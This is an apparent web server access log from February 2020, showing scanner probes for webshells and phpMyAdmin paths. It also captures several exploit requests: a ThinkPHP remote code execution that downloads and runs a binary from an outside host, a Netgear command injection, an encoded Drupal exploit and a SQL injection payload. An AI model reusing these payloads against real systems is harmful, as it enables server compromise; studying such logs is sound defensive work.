42.51.225.120 - - [16/Feb/2020:14:45:21 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:21 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:22 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:22 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:22 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:23 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:23 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:23 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:24 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:25 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:25 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:25 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:26 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:27 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:27 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:28 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:28 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:29 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:30 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:30 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:30 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:36 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:37 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
220.180.167.150 - - [16/Feb/2020:14:45:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.58.7.106 - - [16/Feb/2020:14:45:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.51.225.120 - - [16/Feb/2020:14:45:37 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:38 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:42 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:42 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:48 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
212.91.246.72 - - [16/Feb/2020:14:45:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:45:51 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:52 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:52 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:52 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:45:56 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:00 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:00 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:02 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:03 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:11 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:12 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:17 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:26 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:27 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:28 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:28 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:30 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:30 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:31 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:33 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:34 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:34 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:36 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
42.51.225.120 - - [16/Feb/2020:14:46:37 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:46:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:47:11 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:47:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:47:54 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:48:42 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:48:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:49:22 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:49:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:49:59 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
42.51.225.120 - - [16/Feb/2020:14:50:37 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [16/Feb/2020:14:50:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
68.194.230.145 - - [16/Feb/2020:14:50:50 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
42.51.225.120 - - [16/Feb/2020:14:51:21 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
42.51.225.120 - - [16/Feb/2020:14:51:30 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
42.51.225.120 - - [16/Feb/2020:14:51:30 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
42.51.225.120 - - [16/Feb/2020:14:51:31 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
42.51.225.120 - - [16/Feb/2020:14:51:33 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [16/Feb/2020:14:51:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:52:02 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
79.61.150.203 - - [16/Feb/2020:14:52:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.51.225.120 - - [16/Feb/2020:14:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [16/Feb/2020:14:52:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:53:20 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [16/Feb/2020:14:53:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:54:00 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [16/Feb/2020:14:54:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:55:11 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.85.91.19 - - [16/Feb/2020:14:55:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [16/Feb/2020:14:55:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:55:50 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0"
42.51.225.120 - - [16/Feb/2020:14:55:59 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:00 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:00 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:00 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:01 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:01 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:01 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:02 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:02 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:02 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:03 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:03 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:04 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:04 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:05 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:06 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:08 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:09 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:13 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:14 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:15 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:19 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:20 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:21 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:22 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:24 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:25 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:25 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:25 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:26 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:28 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:29 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:29 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:31 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:32 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:33 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:34 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:34 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:35 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:36 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:36 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:37 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:39 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:41 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:47 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:47 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:48 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:48 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
212.91.246.72 - - [16/Feb/2020:14:56:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.51.225.120 - - [16/Feb/2020:14:56:49 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
42.51.225.120 - - [16/Feb/2020:14:56:50 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
